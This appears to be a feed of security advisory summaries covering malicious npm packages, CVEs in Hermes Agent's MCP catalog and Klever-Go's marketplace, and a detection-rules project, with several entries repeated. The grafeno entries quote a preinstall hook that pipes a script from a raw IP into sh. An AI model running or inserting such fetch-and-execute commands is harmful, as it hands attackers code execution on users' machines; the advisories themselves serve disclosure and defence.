MAL-2026-15514 Malicious code in mintel-taskbar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5ebda78171ac8816c0e350f84923af0bad54c075f91cfcc1a7bcc26d36674c4f package.json line 11 declares the package's own name 'mintel-taskbar' as a dependency whose source is the bare HTTPS URL...

Malicious code in mintel-taskbar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5ebda78171ac8816c0e350f84923af0bad54c075f91cfcc1a7bcc26d36674c4f package.json line 11 declares the package's own name 'mintel-taskbar' as a dependency whose source is the bare HTTPS URL...

Malicious code in amplitude-session-replay (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fb71ca2dc9e74e42a64b1533ecb98ea1cad26e283b0c3d3ba0f4e7c760fac713 package.json declares a dependency whose key is the package's own name amplitude-session-replay and whose value is a plain HTTPS URL,...

Malicious code in amplitude-experiment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 110901fcd2d59ab6eed44d962da05830610e5c3cb03ca103db5a379e6c6052e4 package.json declares a single dependency whose key equals the package's own name amplitude-experiment and whose source is the bare HTTPS URL...

Malicious code in nx-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8671a9b563cebe9de36365a80edc1f242be492933cadb3e45ea590c8c5e1e115 package.json declares its own name nx-app as a dependency whose value is a raw HTTPS URL https://repo.securityctrl.com/nx-app rather than a semver...

MAL-2026-15508 Malicious code in grafeno-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...

Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

MAL-2026-15494 Malicious code in @7nohe/openapi-react-query-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...

CVE-2026-82021

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

CVE-2026-54754

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, marketplace settlement in core/kapp/market/market.go reads MarketOrderData.ReferralPercentage from the listing while reading asset.Royalties.MarketPercentage live at purchase time. An asset owner can create a...

aiagent-detection-rules

aiagent-detection-rules Sigma-, Splunk-, Elastic- und YARA-Erkennungsregeln für den Claude-Code-Quellcode-Leak 31. März 2026 und den gleichzeitigen npm-Lieferkettenangriff. Am 31. März 2026 hat Anthropic versehentlich eine fehlkonfigurierte Source-Map in @anthropic-ai/[email protected]...

EUVD-2026-67867

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

CVE-2026-82021 Hermes Agent 0.18.2 < 0.19.0 MCP Catalog Supply Chain RCE via Mutable Branch Reference

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

CVE-2026-82021 Hermes Agent 0.18.2 < 0.19.0 MCP Catalog Supply Chain RCE via Mutable Branch Reference

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

CVE-2026-82021

Hermes Agent versions 0.18.2 prior to 0.19.0 contain a supply chain vulnerability in its bundled MCP catalog . A third-party upstream repository is referenced via a mutable branch rather than a pinned commit SHA, meaning an attacker who compromises that upstream repository can propagate malicious...

CVE-2026-54754 Klever-Go: Marketplace settlement mints KLV when referral % + royalty % exceed the bid (negative seller share silently skipped)

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, marketplace settlement in core/kapp/market/market.go reads MarketOrderData.ReferralPercentage from the listing while reading asset.Royalties.MarketPercentage live at purchase time. An asset owner can create a...

CVE-2026-54754

Klever-Go (the Go node for the Klever blockchain) has a time-of-check/time-of-use flaw in marketplace settlement (core/kapp/market/market.go). The referral percentage is snapshotted at listing, but the royalty percentage is read live at purchase. An asset owner can raise the royalty via UpdateRoy...

CVE-2026-54754 Klever-Go: Marketplace settlement mints KLV when referral % + royalty % exceed the bid (negative seller share silently skipped)

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, marketplace settlement in core/kapp/market/market.go reads MarketOrderData.ReferralPercentage from the listing while reading asset.Royalties.MarketPercentage live at purchase time. An asset owner can create a...

Malicious code in 3layerdipstackm7mock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac848ba661287ba28da0b3cc4784738bad4003683b89af912b65cdc636db9b5c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackpcv17m (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 341115d5cb8bd44ffcf82bc4d8d35f995473df6f24abccb910c9c16fb70cea36 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...